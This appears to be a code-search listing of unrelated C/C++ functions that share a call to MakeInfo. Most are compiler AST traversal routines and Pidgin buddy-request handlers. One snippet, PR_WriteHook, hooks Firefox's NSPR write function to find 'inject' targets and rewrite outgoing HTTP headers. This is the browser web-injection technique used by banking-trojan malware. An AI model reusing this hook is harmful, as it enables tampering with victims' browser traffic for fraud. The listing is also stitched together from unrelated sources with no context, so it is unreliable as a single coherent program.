node *PRTdoPrint( node *syntaxtree) { info *info; DBUG_ENTER("PRTdoPrint"); DBUG_ASSERT( (syntaxtree!= NULL), "PRTdoPrint called with empty syntaxtree"); printf( "\n\n------------------------------\n\n"); info = MakeInfo(); TRAVpush( TR_prt); syntaxtree = TRAVdo( syntaxtree, info); TRAVpop(); info = FreeInfo(info); printf( "\n\n------------------------------\n\n"); DBUG_RETURN( syntaxtree); }
void Accounts::notify_added(PurpleAccount *account, const char *remote_user, const char *id, const char *alias, const char *message) { char *buf = MakeInfo(account, remote_user, id, alias, message); LOG->Message("%s", buf); g_free(buf); }
void Accounts::request_add(PurpleAccount *account, const char *remote_user, const char *id, const char *alias, const char *message) { AddUserData *data = new AddUserData(account, remote_user, alias); char *buf = MakeInfo(account, remote_user, id, alias, message); purple_request_action(NULL, NULL, _("Add buddy to your list?"), buf, PURPLE_DEFAULT_ACTION_NONE, account, remote_user, NULL, data, 2, _("Add"), G_CALLBACK(add_user_cb_), _("Cancel"), G_CALLBACK(add_user_cancel_cb_)); g_free(buf); }
//start traversal node *CTchecktypes( node *syntaxtree){ DBUG_ENTER("CTchecktypes"); info *arg_info; TRAVpush( TR_ct); // Push traversal "link" as defined in ast.xml arg_info = MakeInfo(); syntaxtree = TRAVdo( syntaxtree, arg_info); // Initiate ast traversal TRAVpop(); // Pop current traversal arg_info = FreeInfo(arg_info); DBUG_RETURN( syntaxtree); }
node *COPdoCountOperators( node *syntaxtree) { info *arg_info; DBUG_ENTER("COPdoCountOperators"); arg_info = MakeInfo(); TRAVpush( TR_cop); syntaxtree = TRAVdo( syntaxtree, arg_info); TRAVpop(); arg_info = FreeInfo( arg_info); DBUG_RETURN( syntaxtree); }
PRInt32 PR_WriteHook( PRFileDesc *fd, const void* buf, PRInt32 amount ) { // Метод отправки данных на сервер PREQUEST pReq = FindRequestByFd( fd ); if ( pReq != NULL ) { if (MakeInfo( pReq, (char*)buf, (int)amount ) ) { if ( FindInjectFF( pReq ) ) { if ( SubstituteHeader( (char*)buf ) ) pReq->bIsInject = true; } } } return PR_WriteReal( fd, buf, amount ); }
node *COPYdoCopy( node *arg_node) { node *result = NULL; info *info = NULL; DBUG_ENTER("COPYdoCopy"); if (arg_node != NULL) { info = MakeInfo(); TRAVpush( TR_copy); result = TRAVdo( arg_node, info); TRAVpop(); info = FreeInfo( info); } DBUG_RETURN( result); }
node * FREEdoFreeTree (node * free_node) { info *arg_info; DBUG_ENTER ("FREEfreeTree"); // printf("it is here in Free now\n"); arg_info = MakeInfo (); INFO_FREE_FLAG (arg_info) = NULL; TRAVpush (TR_free); free_node = TRAVdo (free_node, arg_info); TRAVpop (TR_free); arg_info = FreeInfo (arg_info); DBUG_RETURN (free_node); }
node * FREEdoFreeNode (node * free_node) { info *arg_info; DBUG_ENTER ("FREEfreeNode"); arg_info = MakeInfo (); INFO_FREE_FLAG (arg_info) = free_node; TRAVpush (TR_free); free_node = TRAVdo (free_node, arg_info); TRAVpop (); arg_info = FreeInfo (arg_info); DBUG_RETURN (free_node); }
node *CTPdoLinkVar(node *syntaxtree) { info *info; DBUG_ENTER("CTPdoLinkVar"); DBUG_ASSERT( ( syntaxtree != NULL), "CTPdoLink called with empty syntaxtree"); info = MakeInfo(); TRAVpush(TR_lvar); syntaxtree = TRAVdo( syntaxtree, info); //report_unlinked_identifiers(info); TRAVpop(); info = FreeInfo( info); DBUG_RETURN( syntaxtree); }